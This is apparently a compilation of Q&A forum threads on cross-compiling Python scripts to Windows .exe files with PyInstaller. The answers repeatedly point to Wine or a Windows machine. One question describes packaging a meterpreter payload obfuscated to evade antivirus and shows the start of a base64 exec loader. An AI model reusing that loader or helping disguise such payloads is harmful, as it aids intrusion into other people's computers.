Is there a way to compile a .py file +additional data MAC to a .exe?
auto-py-to-exe is working great when I do in on my windows laptop.
But I often work on mac when I am not at home and need to compile my .py + some other folders and files to .exe
But when I try it on MAC I always only get a MAC executable file, not for windows.
Is there a workaround for that?
from pyinstaller FAQ section
Can I package Windows binaries while running under OS X?
No, this is not supported. Please try Wine for this.

I created a .exe out of .py by using the PyInstaller on Windows. Can this .exe run on Mac, Linux, or other platforms?
Nope. Executable formats for Windows are completely different from those used on other OSes. You might be able to run them in Linux under WINE, but they're not natively compatible with any other OS.

As for mac, no .exe will not work.
In general, pyinstaller would have to be run on each os to make an executable specifically for that os.
I'm trying to convert my python file to a .exe file.
The issue is, I'm using linux, and I can't use pyinstaller or cx_freeze to make .exe files from
.py.
Is there any way to do it?
I'm using Python 3.7.3 on Debian Linux.
TLDR: You can't.
You should be able to use PyInstaller to create executable files as it is compatible with Linux systems:
https://pyinstaller.readthedocs.io/en/stable/requirements.html#gnu-linux
pip install pyinstaller
cd /path/to/your/program
pyinstaller --onefile yourscript.py
However, at least for pyinstaller, there is no way to bundle an executable file for Windows on a Linux system that I know of:
The output of PyInstaller is specific to the active operating system and the active
version of Python. This means that to prepare a distribution for:
a different OS
a different version of Python
a 32-bit or 64-bit OS
you run PyInstaller on that OS, under that version of Python. The Python interpreter
that executes PyInstaller is part of the bundle, and it is specific to the OS and the
word size.

I am compiling a Python code on Kali Linux. I want to produce an .exe file to run on Windows. These are the following settings for PyInstaller:
pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe
and the code is just meterpreter with some comments to avoid Anti-virus detection. The following code is:
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]

When I compile it, I receive a .ELF file instead of .EXE. Maybe I could have the directory wrong? I do not think this is so, as I have checked most directories associated with PyInstaller. I have read the guide to PyInstaller, but it seems to be of no use. Is there any solution to compile Python code on Linux to get a .exe file for Windows?
From the documentation:

You cannot generate a .exe under Kali running its Python.
Ignacio's answer is correct. The Linux version of pyinstaller will not build Windows PEs.
A [convoluted] workaround is install wine, then install python on wine (and pyinstaller on wine).
Then run wine's pyinstaller to build the exe.
I am working on Mac iOS, but I need to make my whole project as .exe file, not .dmg. It is meant to be running on Windows, I would like to use pyinstaller but I faced some problems, wondering if working on Mac has to be the reason.
PyInstaller has can only target the OS it is running on: Source. However, you could use a VM running Windows to build a Windows executable, or use something like wine (Example here) to package it without a VM.
I am using Pyinstaller on Kali Linux 2 to create .exe to run on Windows XP.
So far, pyinstaller is successful at creating .exe that works on Kali Linux, but not Windows
Here is the python code
import webbrowser
webbrowser.open('http://www.cnn.com')
This is the command I ran on Kali Linux
~/Downloads/PyInstaller-3.2/pyinstaller.py --onefile --windowed --noupx open.py
When I open the resulting open.exe in Kali, it opens www.cnn.com. But if I email this attachment and open in Windows XP, it asks
When I save and try to execute, it says ..... How to troubleshoot this?
And when I click open is shows following. How to make it open with double-click?
From the PyInstaller documentation:
If you need to distribute your application for more than one OS, for example both Windows and Mac OS X, you must install PyInstaller on each platform and bundle your app separately on each.
So, to make an app which runs on Windows, you have to create it using PyInstaller on Windows.
Rafalmp is correct you must use a Windows machine to compile it. Alternatively you can use Wine, if you didn't have access to a Windows machine.
